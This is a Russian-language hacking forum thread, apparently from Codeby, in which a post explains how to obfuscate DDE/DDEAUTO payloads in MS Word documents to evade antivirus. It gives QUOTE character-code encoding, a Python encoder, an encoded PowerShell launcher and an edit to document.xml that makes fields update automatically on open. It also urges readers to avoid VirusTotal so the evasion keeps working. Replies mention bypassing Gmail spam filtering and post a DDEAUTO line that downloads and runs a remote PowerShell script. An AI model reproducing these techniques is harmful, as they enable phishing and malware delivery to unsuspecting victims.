• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

MS Word DDE vs AV методы обфускации

U

Underwood

Приветствую уважаемых участников и гостей форума!
Многим известно о том что, буквально 2 недели назад эксперты из Sensepost опубликовали исследование, в котором подробно описали методику использования DDE (Dynamic Data Exchange) в MS Office для доставки полезной нагрузки.
С подробным анализом можно ознакомиться в статье "DDE на замену макросам" моей коллеги @IioS на нашем форуме.
Благодаря простоте использования и эффективности эта методика была быстро взята на вооружение и стала широко применяться в фишинговых компаниях по всему миру, поэтому большинство AV-вендоров довольно оперативно отреагировали и обновили свои антивирусные базы, добавив YARA-правила срабатывающие на поиск строк содержащих DDE или DDEAUTO в .docx/.doc документах, с последующим пристальным анализом содержания этих полей.

Примечание: Мы все прекрасно осведомлены, как такое обычно происходит, но все же считаю необходимым лишний раз упомянуть, категорически рекомендую воздержаться от проверки "своих документов" на Virustotal и аналогичных сервисах для сохранения эффективности работы описанных далее методов.

fuckAV1.jpg


Информация предназначена исключительно в образовательных целях.

Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.

1. Micro$oft QUOTE
В первую очередь стоит обратить внимание на необходимость обфускации строки полезной нагрузки, как основного элемента полей DDE или DDEAUTO, так как сама по себе технология Dynamic Data Exchange легитимна и у AV вопросов не вызывает.
Можно вставить строку с полезной нагрузкой в поле QUOTE, к тому же согласно документации MS коды полей могут быть вложены в любое отдельное слово
Например:
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату:
Код:
QUOTE {IF {DATE \ @ "M"} = 1 "12"
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату форматирования:
Код:
QUOTE {IF {DATE \ @" M "} -1} / 1/10" \ @ "MMMM"}}

Содержание поля QUOTE может быть числом, равным порядковому значением символа, и оно автоматически преобразует его в соответствующий символ.
Например:
Необходимо найти символ, представленный значением 65, который будет отображаться как A, а не 65, и символ со значением 71, который будет отображаться как G
Код:
{QUOTE 65}
{SET c "{QUOTE 65 65 65 65}"}
{SET d "{QUOTE 71 71 71 71}"}
{DDE {REF c} {REF d}}
Это фактически становится:
Код:
{DDE "AAAA" "GGGG"}
Таким образом, можно представлять полезную нагрузку в виде целых чисел и слово автоматически преобразует ее в строку перед выполнением DDE
Автоматизировать это можно с помощью скрипта на python, который просто преобразует заданную строку в эквивалентное поле QUOTE
Код:
#!/usr/env/python
print("Converts a string to the {QUOTE} Field code")
st = raw_input("String to convert: ")
v = map(lambda y: "%s"%ord(y),st)
print("{ QUOTE %s }"%' '.join(v))

Теперь открыть Powershell можно так:
Код:
{SET C "{QUOTE 67 58 92 92 80 114 111 103 114 97 109 115 92 92 77 105 99 114 111 115 111 102 116 92 92 79 102 102 105 99 101 92 92 77 83 87 111 114 100 46 101 120 101 92 92 46 46 92 92 46 46 92 92 46 46 92 92 46 46 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 119 105 110 100 111 119 115 112 111 119 101 114 115 104 101 108 108 92 92 118 49 46 48 92 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101} "}
{DDE {REF C}  "a"}

2. Dirty-ссылки в DDEAUTO
Kак можно догадаться из названия, cодержание поля DDEAUTO должно автоматически обновляется при открытии документа, этот функционал необходимо просто включить.
Для этого необходимо создать документ с расширением .docx, затем отредактировать document.xml в архиве, изменив значение w:dirty="false" на w:dirty="true" в каждой строке начинающейся с w:fldChar, сохранить и обновить содержимое архива.
Код:
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
Таким образом при открытии документа ссылки будут автоматически обновляться, а диалоговое окно с предупреждением выглядит вполне безобидно.
Благодарю за внимание!
dde.jpg
 
Последнее редактирование модератором:
H

Hackaton192

Классная инфа!Только задумался о том как обходить спам gmail(палит скотина)))
 
  • Нравится
Реакции: Underwood
T

tumm

В 2007 отрабатывает,в 2016 нет.Наверно это в целом ДДЕ не работают в 2016 офисе,точней не так как в 2007
 
  • Нравится
Реакции: Underwood
O

OneDollar

И как антивирусы с таким файлом ? На Вы или на ты ?
 
  • Нравится
Реакции: Underwood
H

Hackaton192

И как антивирусы с таким файлом ? На Вы или на ты ?
Свой локальный антивирусный стенд вам в помощь!
[doublepost=1509465212,1509450561][/doublepost]
Приветствую уважаемых участников и гостей форума!
Многим известно о том что, буквально 2 недели назад эксперты из Sensepost опубликовали исследование, в котором подробно описали методику использования DDE (Dynamic Data Exchange) в MS Office для доставки полезной нагрузки.
С подробным анализом можно ознакомиться в статье "DDE на замену макросам" моей коллеги @IioS на нашем форуме.
Благодаря простоте использования и эффективности эта методика была быстро взята на вооружение и стала широко применяться в фишинговых компаниях по всему миру, поэтому большинство AV-вендоров довольно оперативно отреагировали и обновили свои антивирусные базы, добавив YARA-правила срабатывающие на поиск строк содержащих DDE или DDEAUTO в .docx/.doc документах, с последующим пристальным анализом содержания этих полей.

Примечание: Мы все прекрасно осведомлены, как такое обычно происходит, но все же считаю необходимым лишний раз упомянуть, категорически рекомендую воздержаться от проверки "своих документов" на Virustotal и аналогичных сервисах для сохранения эффективности работы описанных далее методов.

Посмотреть вложение 12257

Информация предназначена исключительно в образовательных целях.

Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.

1. Micro$oft QUOTE
В первую очередь стоит обратить внимание на необходимость обфускации строки полезной нагрузки, как основного элемента полей DDE или DDEAUTO, так как сама по себе технология Dynamic Data Exchange легитимна и у AV вопросов не вызывает.
Можно вставить строку с полезной нагрузкой в поле QUOTE, к тому же согласно документации MS коды полей могут быть вложены в любое отдельное слово
Например:
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату:
Код:
QUOTE {IF {DATE \ @ "M"} = 1 "12"
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату форматирования:
Код:
QUOTE {IF {DATE \ @" M "} -1} / 1/10" \ @ "MMMM"}}

Содержание поля QUOTE может быть числом, равным порядковому значением символа, и оно автоматически преобразует его в соответствующий символ.
Например:
Необходимо найти символ, представленный значением 65, который будет отображаться как A, а не 65, и символ со значением 71, который будет отображаться как G
Код:
{QUOTE 65}
{SET c "{QUOTE 65 65 65 65}"}
{SET d "{QUOTE 71 71 71 71}"}
{DDE {REF c} {REF d}}
Это фактически становится:
Код:
{DDE "AAAA" "GGGG"}
Таким образом, можно представлять полезную нагрузку в виде целых чисел и слово автоматически преобразует ее в строку перед выполнением DDE
Автоматизировать это можно с помощью скрипта на python, который просто преобразует заданную строку в эквивалентное поле QUOTE
Код:
#!/usr/env/python
print("Converts a string to the {QUOTE} Field code")
st = raw_input("String to convert: ")
v = map(lambda y: "%s"%ord(y),st)
print("{ QUOTE %s }"%' '.join(v))

Теперь открыть Powershell можно так:
Код:
{SET C "{QUOTE 67 58 92 92 80 114 111 103 114 97 109 115 92 92 77 105 99 114 111 115 111 102 116 92 92 79 102 102 105 99 101 92 92 77 83 87 111 114 100 46 101 120 101 92 92 46 46 92 92 46 46 92 92 46 46 92 92 46 46 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 119 105 110 100 111 119 115 112 111 119 101 114 115 104 101 108 108 92 92 118 49 46 48 92 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101} "}
{DDE {REF C}  "a"}

2. Dirty-ссылки в DDEAUTO
Kак можно догадаться из названия, cодержание поля DDEAUTO должно автоматически обновляется при открытии документа, этот функционал необходимо просто включить.
Для этого необходимо создать документ с расширением .docx, затем отредактировать document.xml в архиве, изменив значение w:dirty="false" на w:dirty="true" в каждой строке начинающейся с w:fldChar, сохранить и обновить содержимое архива.
Код:
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
Таким образом при открытии документа ссылки будут автоматически обновляться, а диалоговое окно с предупреждением выглядит вполне безобидно.
Благодарю за внимание!
Посмотреть вложение 12258


Не получается выполнить данный вариант обфускации!!
А именно судя по работе функции QUOTE, она разом не берет много значений! Underwood У Вас у самого получалось это сделать?
 
U

Underwood

Не получается выполнить данный вариант обфускации!!
А именно судя по работе функции QUOTE, она разом не берет много значений! Underwood У Вас у самого получалось это сделать?
Успешно тестировал на Word 2007, на 2010 и 2013 тоже должно работать, на 2016 как выше писали не удалось.
И как антивирусы с таким файлом ? На Вы или на ты ?
Неделю назад 1/59 определялся только 360 Total Security
 

wurdalak

Green Team
21.12.2019
18
2
BIT
0
Чёт чере QUOTE конвертер строка
Код:
DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell.exe IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.5/2.ps1');
{SET C "{ QUOTE 68 68 69 65 85 84 79 32 99 58 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 99 109 100 46 101 120 101 32 34 47 107 32 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 73 69 88 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 49 57 50 46 49 54 56 46 49 46 53 47 50 46 112 115 49 39 41 59 } "}{DDE {REF C}  "a"}
не канает нифига, в чистом виде работает. где косяк зарыт?
а этой строки и вовсе нету в файле описанном w:dirty="false"

Не понятно почему но QUOTE пути не работаютпосле запуска и вывода диалог окна по нажатию (да) док просто закрывается хотя в чистом виде работает, брал с unicorn генерацию dde , word 2016 может кто подскажет в чём косяк?
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!